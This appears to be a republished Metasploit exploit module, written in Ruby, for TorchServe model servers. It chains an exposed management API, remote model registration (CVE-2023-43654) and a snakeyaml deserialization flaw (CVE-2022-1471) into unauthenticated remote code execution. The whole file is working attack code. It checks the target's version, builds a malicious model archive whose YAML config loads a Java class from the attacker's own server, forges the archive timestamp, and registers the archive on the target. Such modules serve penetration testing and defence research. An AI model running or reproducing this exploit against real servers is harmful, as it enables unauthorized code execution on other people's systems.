PyTorch Model Server Registration / Deserialization Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'rex/zip'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Java  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::Java::HTTP::ClassLoader  
  
def initialize(_info = {})  
super(  
'Name' => 'PyTorch Model Server Registration and Deserialization RCE',  
'Description' => %q{  
The PyTorch model server contains multiple vulnerabilities that can be chained together to permit an  
unauthenticated remote attacker arbitrary Java code execution. The first vulnerability is that the management  
interface is bound to all IP addresses and not just the loop back interface as the documentation suggests. The  
second vulnerability (CVE-2023-43654) allows attackers with access to the management interface to register MAR  
model files from arbitrary servers. The third vulnerability is that when an MAR file is loaded, it can contain a  
YAML configuration file that when deserialized by snakeyaml, can lead to loading an arbitrary Java class.  
},  
'Author' => [  
'Idan Levcovich', # vulnerability discovery and research  
'Guy Kaplan', # vulnerability discovery and research  
'Gal Elbaz', # vulnerability discovery and research  
'Swapneil Kumar Dash', # snakeyaml deserialization research  
'Spencer McIntyre' # metasploit module  
],  
'References' => [  
[ 'URL', 'https://www.oligo.security/blog/shelltorch-torchserve-ssrf-vulnerability-cve-2023-43654' ],  
[ 'CVE', '2023-43654' ], # model registration SSRF  
[ 'URL', 'https://github.com/pytorch/serve/security/advisories/GHSA-8fxr-qfr9-p34w' ],  
[ 'CVE', '2022-1471' ], # snakeyaml deserialization RCE  
[ 'URL', 'https://github.com/google/security-research/security/advisories/GHSA-mjmj-j48q-9wg2' ],  
[ 'URL', 'https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in' ],  
[ 'URL', 'https://swapneildash.medium.com/snakeyaml-deserilization-exploited-b4a2c5ac0858' ]  
],  
'DisclosureDate' => '2023-10-03',  
'License' => MSF_LICENSE,  
'DefaultOptions' => {  
'RPORT' => 8081  
},  
'Targets' => [  
[  
'Automatic', {  
'Platform' => 'java',  
'Arch' => [ARCH_JAVA]  
}  
],  
],  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [IOC_IN_LOGS],  
'Reliability' => [REPEATABLE_SESSION]  
}  
)  
end  
  
def check  
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'api-description'))  
return Exploit::CheckCode::Unknown unless res  
return Exploit::CheckCode::Safe unless res.code == 200  
unless res.get_json_document.dig('info', 'title') == 'TorchServe APIs'  
return Exploit::CheckCode::Safe('The TorchServe API was not detected on the target.')  
end  
  
version = res.get_json_document.dig('info', 'version')  
return Exploit::CheckCode::Detected unless version.present?  
  
unless Rex::Version.new(version) < Rex::Version.new('8.0.2')  
return Exploit::CheckCode::Safe("Version #{version} is patched.")  
end  
  
Exploit::CheckCode::Appears("Version #{version} is vulnerable.")  
end  
  
def class_name  
'MyScriptEngineFactory'  
end  
  
def constructor_class  
::File.binread(::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-1471', "#{class_name}.class"))  
end  
  
def on_request_uri(cli, request)  
if request.relative_resource.end_with?("#{@model_name}.mar")  
print_good('Sending model archive')  
send_response(cli, generate_mar, { 'Content-Type' => 'application/octet-stream' })  
return  
end  
  
if request.relative_resource.end_with?('services/javax.script.ScriptEngineFactory')  
vprint_good('Sending ScriptEngineFactory class name')  
send_response(cli, class_name, { 'Content-Type' => 'application/octet-string' })  
return  
end  
  
super(cli, request)  
end  
  
def generate_mar  
config_file = rand_text_alphanumeric(8..15) + '.yml'  
serialized_file = rand_text_alphanumeric(8..15) + '.pt'  
  
mri = Rex::Zip::Archive.new  
mri.add_file(serialized_file, '') # an empty data file is sufficient for exploitation  
mri.add_file('MAR-INF/MANIFEST.json', JSON.generate({  
'createdOn' => (Time.now - Random.rand(600..1199)).strftime('%d/%m/%Y %H:%M:%S'), # forge a timestamp of 10-20 minutes ago  
'runtime' => 'python',  
'model' => {  
'modelName' => @model_name,  
'serializedFile' => serialized_file,  
'handler' => %w[image_classifier object_detector text_classifier image_segmenter].sample,  
'modelVersion' => '1.0',  
'configFile' => config_file  
},  
'archiverVersion' => '0.8.2'  
}))  
mri.add_file(config_file, %( !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["#{get_uri}/"]]]] ))  
mri.pack  
end  
  
def exploit  
start_service  
  
@model_name = rand_text_alphanumeric(8..15)  
print_status('Registering the model archive...')  
# see: https://pytorch.org/serve/management_api.html#register-a-model  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'models'),  
'vars_get' => { # *must* be vars_get and not vars_post!  
'url' => "#{get_uri}#{@model_name}.mar"  
}  
})  
  
handler  
end  
  
def cleanup  
super  
  
return unless @model_name  
  
# see: https://pytorch.org/serve/management_api.html#unregister-a-model  
send_request_cgi({  
'method' => 'DELETE',  
'uri' => normalize_uri(target_uri.path, 'models', @model_name, '1.0')  
})  
end  
end  
`